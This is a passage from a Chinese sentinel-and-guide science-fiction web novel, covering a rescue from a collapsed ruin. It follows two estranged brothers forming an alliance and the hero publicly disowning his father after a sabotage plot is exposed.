“怎么可能。”陆承没好气地斜了他一眼，“你跟在我身边这么久了，对老三的实力心里还没数吗？这种程度的意外，困住A级的哨兵都勉强，更不要说是他了。” “那他这是？”宗宣虚心提问。 “根据之前流传出来的资料推测，这下面，应该有个大型的精神力放大场，还有很大概率，是幻觉系的。可能是以前专门用来训练精神力的地方。”陆承说出他的推测，“这里本来应该是用来训练向导的地方，这么多年过去，这个放大场的效果很可能已经改变了，让精神力本就容易狂躁的哨兵来这里，只要使用精神力，他们很快便会陷入幻觉里，难以自拔。” “而且，”陆承撇了撇嘴，“这里能不能保存下来和我又有什么关系？明明是他们自己做任务的时候出现意外，造成了坍塌损毁。我过来救援的时候，这里本来就已经完全被毁坏了。” 宗宣虚着眼看着陆承睁眼说瞎话。 “看我干嘛。”陆承瞥了宗宣一眼，轻咳一声，嘴里尝到一股尘土的土腥味，眉头立马紧皱起来，“纸巾！” 宗宣立刻递上。 陆承抽了好几张纸巾，擦干净扑到面上的沙土，特别是沾到嘴唇上的沙子，更是擦了又擦，直到嘴里那股土腥味完全消失，这才满意。 “行了，你在这里看着，我先回车上了，有什么发现再来叫我。”陆承皱着眉丢下被他团起的纸巾，转身就向着悬浮车走去。 宗宣见怪不怪地低头应是，正想换个角度看清楚底下坍塌的范围，看着陆承脚下不自觉加快的步伐，突然想起了什么。掏出口袋里的遥控钥匙，遥遥对着他们的悬浮车按下。 下一刻，不远处的车子里响起“滴滴”两声。一个独立小冷柜被锁了起来。 陆承马上回头瞪了宗宣一眼。 宗宣摸了摸鼻子，对他露出一个不好意思的笑容，手上动作却丝毫未变。 陆承冷冷看他一眼，转身继续向着车子走去，步伐却明显比刚才拖沓了许多。 宗宣一笑，看他安安全全上了车，这才走到旁边，一边看着现场的情况，一边监督着工人们开始救援性挖掘。 很快，重型工程车等一系列工程器械被运送到遗迹面前。 工人们先是操纵着小型器械，从遗迹地表到坍塌的区域，清理出一段较为平整的道路来。 再驾驶着专用工程车，按照“赫尔墨斯”提供的勘探小队的信号最后停留的位置，向下挖去。 有着陆承的吩咐，工人们没有顾忌地操纵着巨大的液压钳和吊挂的铁锤，开始对着面前的坍塌区域大开大合地清理起来。 一时之间，金属扭曲断裂的刺耳声音不绝于耳，尘土与许多枯枝烂叶混在一起，被风压带得扬起，尘埃四处飞溅开来。 宗宣跟在陆承身边好多年，也被他带得有了些洁癖，此刻看着面前飞扬的尘土，立马后退一步。只跟在后面看着清理的进程。 无所顾忌之下，这种粗暴的方式虽然对剩下的遗迹破坏严重，但效率却极高。 这支完全由普通人组成的救援小队，果然完全不受任何精神场的影响，救援的进展也因此比众人预想中顺利得多。 工程队清理到中层区域时，就发现了被掩埋在这里的大部分探索队员。 “还真的都是军中的精锐哨兵，这都埋了二、三十小时了吧，还都活着呢……”宗宣看着场中横七竖八倒着的哨兵们，暗自咋舌。 嘴上这么说，不过宗宣也看得出，应该也有其他的原因。 大概是因为坍塌发生的时候，面前这些人都在已经被清理过的位置。掉落时垮塌下来的重物比较少，再加上这些队员大多到达了B级，可以在承压时完全拟化提升自己的身体素质，他们大多依靠自身的反应和力量扛住了冲击。有几个没来得及拟化的，也及时被队友保护了起来，一眼看过去，所有人都还好好地喘着气。 此时，挖掘出伤员的工人们也暂停了大型机械作业，在负责人的指挥下快速赶了上去，人工对这些队员进行最后的救援。 “我喊一、二、三，大家一起用力……” “这边这个失血过多，拿快速凝血剂来！” “老大，这边还有一个……” 剩下的坍塌物，在大量营救人员的动作下被快速清理出来，掩埋在此的队员被生物探测器一一发现，全部救了出来。 “报告，共发现幸存者八名。其中有两人重伤，一人肩部被钢筋贯穿，需要马上进行手术。一人左腿胫骨开放性骨折，已进行紧急止血和固定，也需要马上进行专业救治。其余六人为轻伤，生命体征稳定，三人已经在初步救治后神志转醒。”救援队负责人通过通讯器，在专用频道内汇报。 【去问问那几个清醒的其余人的方位，继续向下挖掘。他们一共应该有十三人……不过里面有两个可能已经跑了。】通讯频道里传来陆承的声音，停顿了片刻后，他继续下令，【特别是“赫尔墨斯”提供的他们的哨兵核心最后信号出现的位置，重点搜索。】 “重伤的两个马上送回穿梭舰上，让那边的治疗组准备接应。”宗宣补充道。 负责人接下命令，小跑去已然清醒过来的三个队员身边，问清了坍塌发生时的情况，又与“赫尔墨斯”提供的位置对比后，圈出一大片剩余队员可能存在的位置，重新指挥着工程机械继续向着深处推进下去。 越往里，坍塌程度就越高，需要清理的垃圾也越多，救援队的速度不免慢了下来。 几个小时后，才在靠近第四层那道闸门旁边的废墟中，成功找到了李铭与卡瑞娜。两人正躲在扭曲的金属板与墙壁形成的三角空洞中，看起来都还活着。 卡瑞娜还好些，垮塌到来时，她及时进行了完全拟化。再加上她的拟化体身形很小，虽然比不上其他队员身体素质厉害，可这个体型帮助她很快找到了足以躲藏的空洞。 而李铭就比较惨了。 他本来就是离精神干扰冲击最近的人，当时就有片刻时间完全失去了意识。虽然在之后陆厌离抱着他奔逃时，恢复过来一些，可这么短的时间里，他还没法重新掌握住自己的精神力，被陆厌离向上抛出去后，面对着生死危机勉力移动了一段，就再次失去了意识。 还是卡瑞娜发现了他，带着他一起躲藏了起来，这才幸免于难。 可他一直没能拟化，兼且自己还失去了意识，卡瑞娜只来得及将他的上身要害部位推进墙角的支撑结构里。他的双腿完全被压在坍塌下来的废墟下面，要不是刚好有一块沉重的板材压住了他的动脉血管，这会儿还能不能喘气都是问题，算是他们今天见到的所有队员里，受伤最重的一个。 “小心点，这个马上送去穿梭舰上。”宗宣指着李铭下令，“另外一个呢？能救醒过来吗？” “她身上有多处擦伤和淤青，应该还有些脑震荡。”随队的医护人员一边检查一边报告，“不过这些都不严重，她主要是被掩埋得太深了，身边还带着另外一个伤员。她似乎是把自己的应急药物给对方用了，自己缺氧严重，可能会造成一些脑损伤。具体情况还要去正规医院做检查才知道。” “我可以先让她暂时醒来一会儿。”检查完毕，医护人员立刻从随身的医疗包中取出针剂，准备起来。 旁边的其他救援队员，马上为昏迷的卡瑞娜清理掉口鼻上的尘土碎石，戴上氧气罩。待医护人员给她注射了一管军用强心剂，等待了好一会儿，才见卡瑞娜眼皮颤动一下，缓缓醒了过来。 “陆……陆少将他……？”卡瑞娜刚睁开眼睛，就第一时间挣扎着问起来。 “我们正是来救援陆少将的，最后垮塌发生的时候，他在哪个位置？”宗宣马上半跪下来，企图从卡瑞娜口中得到更准确的信息。 卡瑞娜深喘了几口气，在强心剂的作用下清醒过来一些。睁开眼睛环视周围环境一圈，手指颤抖着指向一个方向，“那边……更深的地方……” 宗宣看了看对方指出的方向，点了点头，“放心吧，我们会把陆少将安全带出来的，你可以休息了。” 宗宣说完，便示意救援人员将卡瑞娜也带离了现场。 “目标在更深的位置，继续挖掘。” 这一次，挖掘的时间更长。又是几个小时过去，救援队一直没有任何发现。直到挖到了遗迹的最底层，才现出一些端倪。 也许当年这里就是整个研究所的中心位置，此处的建筑结构明显比上面几层更加坚固，即使在短时间内遭受到巨大的重量冲击，最底下一层也没有完全垮塌下去。 特别是中间一个呈圆形的房间，只有角落被上面压下来的巨石砸出了一个大洞，废墟堆成了一座小山。旁边的大部分房间结构，都还依然健在，保持着一个相对完整的有氧空间。 这里似乎有什么特殊之处，即使是这些作为普通人的救援人员，也在接近时不约而同感到心绪浮动。 当工程机械车小心地将压垮那片角落的垃圾清理掉，众人终于越过房间墙壁，看清了里面的模样。 圆形房间靠中央的位置，一个人影正背对着入口，蜷缩着倒在地面上。 他的银灰发丝被覆在上面的一层灰尘染得黯淡，看不到正脸，但一动不动的模样，似乎正处于昏迷之中。 身上只有一件贴身的战斗服。此时，这最高级别的军用防护服上，也出现了多处破损，露出下面染血的伤口来。 身上的血迹已经凝固成红黑色，身下也因伤口长时间的开放，洇出一小片血泊。 一眼看到地上血迹，宗宣面色一变，立刻后退几步，大声下令：“所有人！马上换上防护服。”同时，自己也从旁边的救援队员手中接过防护服快速穿上。 一边指挥着众人换衣服，一边打开与陆承的专用通讯频道：“BOSS，人找到了。但是受了点伤，现在似乎是昏过去了。” 【……】 “是的，其他队员都已经送上去了。没发现另外两个人的踪迹，应该是第一时间就跑掉了。” 【……】 “对……这下面是有点不一样……您要亲自过来？好的，那您小心，记得开启屏蔽，还不确定这里有什么东西。” 一番对答后，宗宣挂断通讯，重新看向房间中央一动不动的人影。 他没看出来的是，此时那个疑似昏迷过去的人，周身正不断向外散发出忽强忽弱的精神力场。而周围的墙壁，也不断从他不稳定的精神力场中汲取着精神力，又用这个力量，将被它们捕捉到的“猎物”，拉入更深的幻境之中。 十几分钟后，身后传来一阵慢悠悠的熟悉脚步声，宗宣了然回头，果然看到陆承正顺着救援队搭建好的路线走下来。 还没下来，他似乎就感觉到了什么不对，果断在周身架起了精神防护盾。 走到宗宣面前，凝视了前方不远处躺倒的人影一眼，正准备带着医护人员上前看看究竟，却见那蜷缩着的身影猛地一震。 瞬间，仿佛有一个修筑在他身体里的无形壁垒，从内部被悍然击碎。 陆厌离周身那不稳定的精神力场，突然在瞬间向外爆发开来，强大的精神力甚至影响到了现实，在他周身形成一股向外扩散的振动波，将地面上的尘土震成一圈圈的模样，又重新落下地面。 那个一动不动的人影，倏然翻转过身形，向着他们这边打着探照灯的方向抬起了头。 一双碧绿的眼瞳中，先是充斥着还未散尽的痛苦与混乱，随即又因为突如其来的强光眯了起来。可身体还是第一时间摆出了防守的姿势。 他成功了，在无数次的循环沉沦之后，他终于抓住了每次循环结束的那片刻间隙，在许多次尝试后，强行用强大的精神力撕开了那个汲取自他记忆的幻境。 新鲜的，仍带着土腥味的空气涌入肺叶，真实的五感重新回归。他第一时间剧烈呼吸着，给身体补充上充足的氧气。直到因为急速补充氧气而感到眼前阵阵发黑，才强压着身体放缓了呼吸的频率。 轻微的碱中毒症状，长时间的精神力消耗，加上前方打过来的强光，令他无法看清面前的场景，视线有些涣散。 模糊中，他只看到一个身影正站在自己前方不远处，那身形轮廓，却带着几分在幻境中熟悉至极的模样。 混乱的脑子还没有完全清醒过来，残存的幻象与现实的边界仍混淆在一起。那张脸，与刚刚再次在他面前倒下的身影，渐渐重合。 “大哥……？” 一声沙哑的，带着几分难以置信的哽咽话语，从陆厌离颤抖的唇间溢出。 这一刻，他失去了冷静的模样，拖着自己疲惫不堪的虚弱身体，本能地站起身来，踉踉跄跄向前扑了过来。一把将站在最前方的陆承紧紧抱住，带着些湿润的脸庞压进对方的肩窝里，随即，一声闷声的呜咽便在陆承耳边响了起来。 陆承顿时全身都僵住了。 他这一次，是真的来救陆厌离的。虽然这次的事件仍有他在前期小小的“推手”，现在的救援也抱着些其他的目的。但这的确是他十几年来第一次真的想要救陆厌离脱困。 若不是……陆承恨恨地想，若不是因为那个原因，他绝不可能对这个私生子释放善意。他最好能感恩戴德地感谢我，记住这份人情，在后面自己的行动里，给他好好帮忙。 陆承嫌弃地瞥一眼那个狼狈的身影，可他不知道，在目光滑过的那个瞬间，他的脸上还闪过了几分掩不住的心虚。 虽然在心里说着自己今天是来救人的，可十几年的敌视与针对下来，陆承早就习惯了与对方的相处模式，此刻看到陆厌离狼狈地躺倒在地上，心中首先涌上的仍然是看好戏的心情，甚至因为今天自己是来援手的，站在道德的至高点上，想要嘲讽他两句。 可刚看到面前的人清醒过来，嘴角那抹扯开的讥诮弧度，就被对方这个突如其来的拥抱撞得僵在了脸上。 还未出口的嘲讽就这样卡在喉咙里。 他能清晰地感觉到这个紧紧抱住自己的人，手臂之间的力量，与身体不受控制的轻颤。 “大哥……”一声声哽咽的呼唤在耳边响起。带着些依赖，带着些庆幸，还有着无尽的后悔自责。 脖颈之间被滚烫的液体浸润，陆承下意识想要推开面前人的手臂，举到一半猛地停了下来，就这么悬在了半空中。 宗宣刚开始看到陆厌离扑过来时，下意识地就想要挡在陆承身前。 可他一个普通人，反应、速度哪里比得上一个顶级哨兵。 刚刚迈出一步，就看到这位一直以来被他们针对的三少爷，将他家的大BOSS紧紧抱进了怀里。 极近的距离下，他甚至还听到了一点模模糊糊的呜咽声传了出来。 前进的步伐立时顿住。 又看了看自家BOSS震惊的眼眸和无处安放的手臂，连他都仿佛替陆承感到了一阵尴尬。 转过身去，对着周围的其他救援人员做了个手势，所有人立刻无声无息地开始撤离，将空间全部留给了这两位关系复杂的兄弟。 宗宣微转过头看了一眼仍然抱在一起的两个人，感觉自家BOSS应该是没什么危险了。但若是继续看下去，恐怕他自己之后就比较危险了。 摸了摸鼻子，同样跟着撤离的队伍鱼贯而出，走到这个圆形房间外等待起来。 那边厢的陆承，此刻心中也是一片复杂难言。 长久以来的敌对与轻视，与此刻两人毫无防备地紧拥在一起的现实，形成了一种尖锐的冲突。 那点儿想要嘲讽的心理惯性，在看到对方心中真实不虚的愧疚与依赖之后，被搅得有些不是滋味。 他张了张嘴，想要说些什么。 他觉得此刻他应该说些什么。 要不嘲笑他愚蠢，一个A+的小队任务，两个没什么力量的小人物，都能把他弄得如此狼狈。 要不，就假意对他提出关怀。展现出自己冰释前嫌，愿意原谅他的姿态，让他对自己心生感激，今后站在自己背后给自己背书。 但最终，心中那股复杂的情绪却令他张口结舌，喉结滚动一下，将所有到了嘴边的话都咽了回去。 他极其别扭地猛然转开了头，把视线转向其他方向，脸上闪过心虚、逞强、怨恨等等复杂的情绪。最后，在耳边一下又一下响起的“大哥”声里，全然化作同样的思念与濡慕。 这一对长久以来始终互相敌视的亲兄弟，在这一刻，紧紧拥抱在一起，共同思念着那个早已远去的身影。 裹着风沙的冷风从上方的空洞里灌下来，哭出声声从久远的过去里，吹拂过来的哀泣。 第237章 短暂的失控只持续了几秒。 当呼啸嚎哭的冷风带走心头那番剧烈起伏的情绪， 潮湿的眼角风干，属于现实的冰冷而沉闷的空气灌入肺腑，陆厌离混沌的大脑清醒过来。 他猛地松开手， 后退两步，眼尾仍然泛着红，碧绿的眸子已然森寒下来。倒映出陆承那张与陆耀八分相似，却更显成熟刻薄的面容。 “是你？” 陆厌离的声音瞬间绷紧， 下意识便将这次的事件与陆承联系了起来， 心头骤起警惕， 声音沙哑而紧绷：“是你做的？” 如今的他与以往不同。他已经有了想要相伴一生的伴侣，再也不会浑浑噩噩地用自己的生命与未来， 去为他人补偿了。 陆承刚刚还因为陆厌离骤然的亲密，从心中生出些心虚与不自在，这会儿被他这骤变的态度与怀疑的眼神一激， 瞬间又心头火起， 那点子因为这个意外的拥抱而生出的微妙情绪，瞬间烟消云散。 他的眼神立刻变回了以往那副讥诮刻薄的模样，扯开嘴角发出一声短促的冷笑， 伸手指了指周围放置的那些大型工程机械：“你哪只眼睛看到是我做的？好好看清楚， 要不是我第一时间带着人和设备过来， 挖开了这片废墟， 你们还不知道要在这鬼地方被困住多久！” 陆厌离顺着他的手指看向四周， 顿时， 高大冷硬的大型工程器械尽入眼帘， 不远处，很多穿着统一制服的工人各行其是。而之前坍塌下来，把他们一队人压在下面的碎石垃圾， 已经不翼而飞，站在这最底层的地板上，抬头就能看到天光顺着中央被清理出来的巨大坑洞，漫洒下来。 看起来，刚刚正是这群人将这片废墟清理出来，让他重见天日。 看着上层已经被清理出来的空洞，陆厌离猛然想了起来。 “我的副官和队员们呢？” 陆承撇了撇嘴，“怎么，还怕我把他们害了不成？” 此时，躲在一旁的宗宣也看到两人恢复了以往针锋相对的模样，眼看自家BOSS一言不合又要和陆厌离吵起来，忙快走几步重新走了进来。 正逢陆厌离问起他的队员们，看一眼陆承有些烦躁的眉间神色，主动上前解释道：“其他人被掩埋的位置都比三少爷浅，之前已经被救出去了。三少爷放心，所有人都没有生命危险，只是多多少少都受了些伤，我们已经派专门的医护人员为他们做紧急治疗了。” 陆厌离提起的心放了下来，看了看陆承，终于相信他真的是来帮他的。紧绷的肩膀微微松弛了些，想了想，收起戒备的姿态，主动走近一步，可心中仍然疑虑未消。 “你怎么知道我这里出了事？”他带着些怀疑追问道，“又为什么要过来救我？” 自从大哥因他而死之后，陆承向来与他水火不容，说一句恨之入骨也不为过，以前不知给自己找过多少次麻烦。 陆承有些嫌恶地拍了拍刚刚拥抱时，被陆厌离身上的血与泥土染脏的衣服，神色恢复了惯常的冰冷与刻薄。 听到陆厌离的问话，看到他眼中的怀疑，讥诮地撇了撇嘴：“不止是我，现在恐怕小半个联盟的人都知道你出事了，只是我来得最早而已。” 看了看陆厌离更加疑惑的神色，忍不住带着些看笑话的恶意，抛出个重磅消息： “因为你那位宝贝向导出事了。你过来这里做任务之后，‘转轮天平’枢纽上发生了公共安全事件，他在过去支援的时候失踪了，疑似被人绑架。现在整个联盟因为这件事都炸开了锅。而你，恰好在这个当口出了外勤任务，又恰好任务出现了问题，被困在这里。现在，已经有许多调查机构把目光转移到了你这边，想要从你这里找到突破口，寻回那位珍贵的‘寻道者’。” 看着陆厌离听到这个消息后，瞬间骤变的面色，陆承继续补充道：“至于我，过来自然也不是为了做慈善。我可以明白地告诉你，这次的事，从你被调往这里，到江寻失踪，都是父亲和凡纳家那个大少爷联手做的局。你最好快点想办法把你那个宝贝向导找回来，不要怪我没提醒你，以伊莱的脾气，他随时有可能不顾后果，强制绑定那个向导。” 陆厌离瞳孔猛缩，手指无意识地攥紧，指甲不受控制地化为利刃，刺入掌心。 “你怎么知道？你手上有什么证据吗？……又为什么要告诉我这些？” “我自然有我的情报渠道。但是……证据？”陆承玩味地一笑，“我为什么要搞那种东西？难道你还想我帮着你去和凡纳家不对付？我为什么要做这种蠢事？事情反正我已经告诉你了，信不信随你。” “……你直说吧，前来救我，又告诉我这些，是为了什么？”陆厌离将急迫的心情暂且压下，直视着自己这个向来不做无用功的二哥，问道。 陆承笑了笑，向前逼近一步，紧紧盯着陆厌离，“既然你这么说了……这一次，我要把陆老头从那个位子上拉下来。而我需要你，在接下来的家族会议中，站到我身后，全力支持我夺得那个位子。” 陆厌离眼中闪过诧异，眉头紧锁起来：“你本来就是第一顺位继承人，我也无意和你抢那个位子，你未来的继位没有任何威胁，为什么要这么急地冒险做这种事？” 他无法理解陆承的急迫，自从大哥不在以后，父亲就一直在培养着对方成为合格的继承人。如今，他也已经掌握了家族里很大一部分话语权，说是一人之下万人之上也没问题，他完全没必要在这种时候发难。 陆承的眼神暗了暗，心中闪过那个人调查出来的过去真相，复仇的火焰灼烧着他的心脏。 他看着眼前这个什么都不知道，傻乎乎地将自己的前半生都奉献出去的“弟弟”，心中闪过复杂的思绪。 没有必要告诉对方，他已经有了自己想要陪伴一生的人，过去的付出，也已足够偿还儿时犯下的错。 这条复仇之路，没必要将他也拉进来，这本就是自己的事。 一念及此，他没有回答陆厌离的问题，只是带着些强硬重复道：“你别管那么多，只需要回答我，答应，还是不答应。” 顿了顿，他继续抛出一个让陆厌离无法拒绝的筹码，“如果和我达成合作，作为交换，我虽然不会直接帮你去对付凡纳家，但在营救江寻的过程中，我可以把手中的资源和情报网与你共享，协助你把他救出来。” 陆厌离看着陆承，这个从儿时起就一直敌视着他的二哥，心中思绪纷乱。 一时之间，两人之间的空气仿佛都安静了下来。 看着那双与幻境之中见到的大哥的眼睛，别无二致的蔚蓝眼眸，终于，点下了头颅： “……好。” 最重要的合作协议已经达成，双方此时都稍稍松弛下来。 只是在长久的敌对过后，现在又突然要合作，两人都感觉有些不大自在，不知道要如何和对方相处，气氛一时凝滞下来。无话可说的两人，不约而同地将目光撇向了一边。 陆厌离环顾四周，原本就破败的遗迹，经历了一次严重的坍塌之后，又被陆承一通不顾后果的暴力挖掘，已然彻底变成一片废墟。再要继续探掘下去，恐怕付出和回报就不成正比了。 他的任务到此，不得不中断了。 更何况，如今知道江寻出事，他也没有心情继续任务了。 “我打算立即回中央星去调查江寻失踪的事。”陆厌离转向陆承，说出他接下来的计划，“我的那些队员，尤其是其中的重伤员，就先拜托你了。麻烦你务必将他们安全送回中央星。” 陆承点了点头，这种小事，陆厌离不说他也会吩咐下去：“可以。” “谢谢，那这里就交给你了。”陆厌离对陆承点了点头，便不再多言，转身向着遗迹上层走去。 从救援队负责人那里，他拿到了回收回来的那些前期探掘出的文件资料，以及塞西尔的哨兵核心中留下的，从林莫启动精神爆鸣到金浩载引发遗迹坍塌的完整影像。 这些东西，是证明这次任务遭受到了蓄意破坏，林莫、金浩载两人，谋杀未遂的直接证据。 有了这些，最起码这两人身后站着的人，别想轻易从这次的事件中脱身了。 小心将所有资料，备份传输到自己的哨兵核心里，他没有去治疗身上的外伤，甚至连破损的作战服都没有换，只是取了几支高浓缩营养膏和一卷创伤胶带，便大步走向他们来时乘坐的那艘穿梭舰。 幽蓝引擎组轰然爆鸣，在一阵加速后，舰船急速升空，很快脱离HD-86星球布满风沙的大气层，化作一道流光，向着中央星的方向飞射而去。 转眼之间，便消失在了浩瀚星海之中。 一日后，这艘急速飞行的穿梭舰在众目睽睽之下，于军部专用空港上降落。 一个在之前的情报中，被宣布失联的人，再次回到所有人的目光之中。 * 陆厌离在这个节骨眼上的回归，就像是在已然沸腾的油锅里，溅入了一滴冷水，瞬间便令局势再次炸开。 他伤痕累累地踏上空港的新闻照片，在各大媒体上疯狂刷屏，更加佐证了江寻失踪事件背后，那双看不见的幕后黑手的存在。 一时之间，整个联盟群情激奋，就连一开始对江寻这个不太熟悉的向导无感的众多平民，也在这一刻将目光凝注到了这件事上。 “究竟是什么人，连联盟少将都敢陷害？” “他连陆少将都敢动，在我们不知道的时候，是不是已经对更多的人动过手了？” “我们要真相！联盟为什么能放任这样一个人如此无法无天！” 这一刻，人们担心的不再是这个事件本身，而是这件事背后暴露出的那双无视法律规则的黑手。 而陆厌离的回归，为人们带回来的，不仅仅是他个人此番惊险的经历，更是证明了那双背后的黑手真正存在的关键性证据——那份林莫引爆精神爆鸣，而后研究员金浩载又在他的掩护下，最终引发了整个遗迹结构性坍塌的真实录像！ “到底是谁做的？他们竟然连军方派出的探索队都敢直接下手！”联盟紧急议会上，一位脾气火爆的军部高层一拳砸在桌面上，愤怒的目光直视向在座众位世家代表，“我们的人为了整个联盟的利益安危，冲在最危险的前方，抛头颅洒热血，结果要害我们的竟然是背后同僚刺出的尖刀！太荒谬了，不管是谁，这一次都必须为这件事付出代价！” “即使你不说，我们也会把这个人揪出来！”眉间沟壑深刻的布瑞克家负责人沉声说道，目光在周围面色难看的家族代表们脸上逡巡而过，“居然敢把手伸进我们布瑞克家的地盘里，那就不要怪我把它剁了！” “找到林莫和金浩载两人的行踪了吗？”另一位议员沉声问道。 “林莫是塔中登记在册的资深向导，金浩载是科学院中工作了好几年的特级研究员……能让他们做出这样的事，不会是临时收买，有更大的可能，这两人原本就是对方在这两个部门里埋下的钉子！”另一位议会高层声音森寒，“再进一步想，能安排这两个人进入如此核心的部门里，联盟上层之中，是不是已经被他们渗透成了筛子？” “如此肆无忌惮，如此胆大包天！”联盟议长重重一掌拍在面前的桌子上，发出一声震颤人心的巨响，“这已经不是简单的绑架事件或是势力倾轧了，这是对联盟根基的破坏！” “给我查！这件事，必须给我查得清清楚楚！” 有了上级的全力支持与新的线索，原本因为枢纽站那边繁乱的线索，与地位越来越高的嫌疑人而陷入僵局的调查组，再次全力运转起来。 这一次，不仅之前碍于嫌疑人的身份停滞下来的调查，得以继续进行。更因为这次出现的更加明确的线索，使得调查有了新的方向。 一部分调查力量立即转向，开始全力追溯林莫与金浩载从出现在联盟视线中，直到现在为止，所有的背景、通讯记录、资金流向与关系人。 这部分线索虽然能明显看出，被谨慎地处理过，可是当联盟这架巨型机器开始全力发动的时候，一切的蛛丝马迹都从黑暗中浮现出来。 调查越是深入，一个名字出现的频率就越高。尽管大部分的痕迹都被巧妙地伪装成正常的商业往来，或是巧合，但几年以来，出现过的巧合过多，在有经验的调查官眼中，已经能清晰将整条脉络捋清。 一旦有了怀疑，再去检索确认，更多的线索就出现在了所有人眼中。 可惜的是，调查到了这里为止，仍未发现与枢纽站绑架事件有关的证据。这一事实，让许多人开始怀疑这两件事之间的关联性。 可如今的结果，已经足够令所有人震惊不已。 因为，所有线索指向的那个名字是——陆家。正是陆厌离出身的本家！ 当陆厌离被召请到几个调查部门联合召开的情报通报会上，当着军部、联盟安全总署以及塔组织，看到这份线索详实的调查报告，被询问是否知道其中内情时，盘桓在心中的怒火终于冲破了长久以来对于父亲与家族的亏欠。 他看着手上那份厚厚的报告单，上面清晰地显示着，林莫与金浩载，是怎样在陆家的保驾护航之下，一步步登上塔与科学院中的重要位置，又是在什么时候接到命令，加入任务，并最终在关键时刻，给与他致命一击。 陆厌离深深闭眼，捏着报告的手指用力到发白。 他为了弥补对于家族与父亲的亏欠，一直以来都在顺从忍耐着，将自己的前半生都奉献了出去。 他以为，就算父亲对他并没有如大哥二哥一般的父子之情，最起码，看在他的母亲与自身的能力与功绩的份上，也是在意着他的。 可这一刻，残酷的事实却将一切打破。 “陆少将，请问，这份报告单上列举出的事实是否真实？你是否知道下达这一系列命令的幕后之人是谁？”拿出这份报告的调查官再次问道。 “……是的，情报真实。下达命令的人，应该是我的父亲，陆明远。”陆厌离沉默了一下，回答道。 他不知道父亲为什么要做这种事，不过想也知道，他一定有某些收获，应该又是在背后与某人达成了什么交易。 而他的回答，也令在场所有与会人员一阵惊愕。 当他们看到这份报告时，许多人的第一反应都是，此事很可能是陆家内部的继承权争夺，有可能只是恰逢其会，与江寻绑架事件无关。 他们召集陆厌离过来，也是想从他口中确定这个事实，好将此事与江寻绑架事件划分开来。却没想到，居然听到了这样一个不可思议的回答。 没人把怀疑的目标放在陆明远身上。 与陆承不同，陆明远作为陆家家主，只要是属于陆家的力量，对于他来说都是助益。 从很久之前开始，陆厌离就是保障着陆家一路前行的家族砥石。可以说，陆家从一个上流家族，走到如今的顶尖位置，其中有一半的功劳都是由陆厌离带来的。并且，在陆厌离痊愈归来，还交好了一位S级“寻道者”的现在，对于陆家的重要性更是不言而喻。 只要他能够一如过往地支撑着陆家，那么，陆家要成为联盟第四大家族，只是时间的问题。 如此有份量的一个人物，对每个世家来说，都是趋之若鹜的存在。若是自家能诞生出这样一个人，每个家族都会倾力培养，将这个人与家族紧紧绑在一起。 为什么会有人反而去迫害他？这与自断肱骨有什么区别？ 许多人面露疑惑，已经开始猜测，其中是否还有什么众人不知道的家族密辛。 在所有部门代表惊讶的目光中，陆厌离沉沉叹了口气，随即面容坚定下来，似是做出了什么重要决定，他站起身来，环顾在座所有与会者。 看到他的动作，会议室瞬间安静下来，所有人的目光，都聚焦在他身上。 陆厌离的身姿笔直，冥冥中，透出一股孤绝独立之势，他的目光如箭一般刺向端坐于对面席位上的陆家代表，一字一句宣告，声音清晰而果决，不高的音量却在这一刻传遍了整个会场： “请各位见证，我与陆明远父子情谊已断。自即日起，我陆厌离，与陆明远正式断绝父子关系。从此以后，其所行之事，所犯之罪全部与我再无瓜葛。并且，我将全力配合联盟将这件事调查到底，为所有在此次事件中受到侵害的民众讨回公道！” 没有任何一句咆哮与控诉，陆厌离就像是终于卸下了一件长久背负的负担，用最平静的语气，宣告了最彻底的决裂。 满场当即寂静，所有人都为他这番决绝震惊不已。特别是代表着陆家坐在对面席位上的发言人，在陆厌离平静决绝的目光下，面色陡然惨白一片，抖如糠筛。 几秒之后，会议厅中轰然炸响。 自联盟建立以来，顶级世家与自家的顶级哨兵决裂的事，这是第一次发生。而他们的身份也决定着，这不仅仅是一次寻常的父子决裂，而是意味着，这位前途无量的顶级哨兵，从此将不再保护陆家，甚至，将站在这个被他一手扶植起来的世家的对立面上。 而这两者的彻底决裂，也必将影响到整个联盟的势力格局，甚至因为另一位S级向导的存在，影响到今后几十上百年间的势力变动。 所有人都神色各异地看向代表着陆家的两人。他们知道，从今天以后，联盟又将因为这个消息，陷入新一轮的风暴漩涡之中。 第238章 中央星， 陆宅。 陆明远死死盯着参会归来的对外联络代表，“你说什么？M28星域的事被查出来了，老三因此要跟我脱离父子关系？” 刚刚在通报会上被围攻， 好不容易才脱身回来的代表觑一眼陆明远的表情，又快速低下头，语气艰涩：“……是的，虽然没有决定性的证据， 但是现在几乎所有人都知道是我们动的手了……三少爷当即就在通报会上宣布了要……”他咽了口口水， “要和您脱离关系。” “反了他了！”陆明远额角青筋暴起， 胸腔因为愤怒而剧烈起伏着，“砰”的一掌拍在书桌上， 震得代表浑身一颤。 “……家主大人，现在要怎么办啊？恐怕过不了多久这件事就会被正式公布出去了，还有联盟调查组那边……现在一多半的代表都在要求严查这件事。”看着陆明远愤怒的表情， 代表硬着头皮说道， “咱们要是不马上准备的话，只怕到时候……” 呼哧呼哧深呼吸几下，陆明远暂时压下心头怒火。 “凡纳家族那边， 在会上没有任何表示？”陆明远沉声问道。 “没有， 他们什么话也没说， 散会后就马上离开了。”代表回道。 “伊莱·凡纳……”陆明远从牙缝里挤出这个名字， 声音里充满了暴怒。自从爆出绑架事件之后， 他就再也无法从私人联络渠道联系到伊莱了。 他原本以为， 这只是一场各取所需的小小交易。只需要几次露水之欢， 就能为家族换来不菲的政治利益。就与其他所有家族利用自家的哨兵、向导出去做交换一样，是世家豪门间心照不宣的小事。 他万万没想到，伊莱的胃口和胆量会这么大！绑架！强行收拢一个S级“寻道者”？他还想干什么？难道他真的想要强行绑定一个顶级向导？这个疯子难道不知道这种事情犯忌讳吗？他怎么敢把这种事放到明面上来？！ 陆明远猛地站起身来， 焦躁地在书桌前不断踱步。 拜凡纳所赐，这件事到现在为止，彻底失控了。整个联盟都把目光聚焦到了这件事上，民众震动，议会施压，带来的影响已经完全超出了他最初的预料。 更令他恨怒的是，对方把自己也拉进了这摊浑水里，令他陆家最锋利的宝剑与他决裂，自己却完全隐身在后，丝毫不管他现在遇到的危机。 到了现在他才明白过来，自己从头到尾都被伊莱当成了棋子。对方根本就没想过把人还回来，他恐怕一开始就打算把他一脚踢开，独自吞下这个珍贵的宝藏。 甚至，他让自己出手帮忙，可能就是为了在事成之后，让他陆家来替凡纳家背黑锅！ 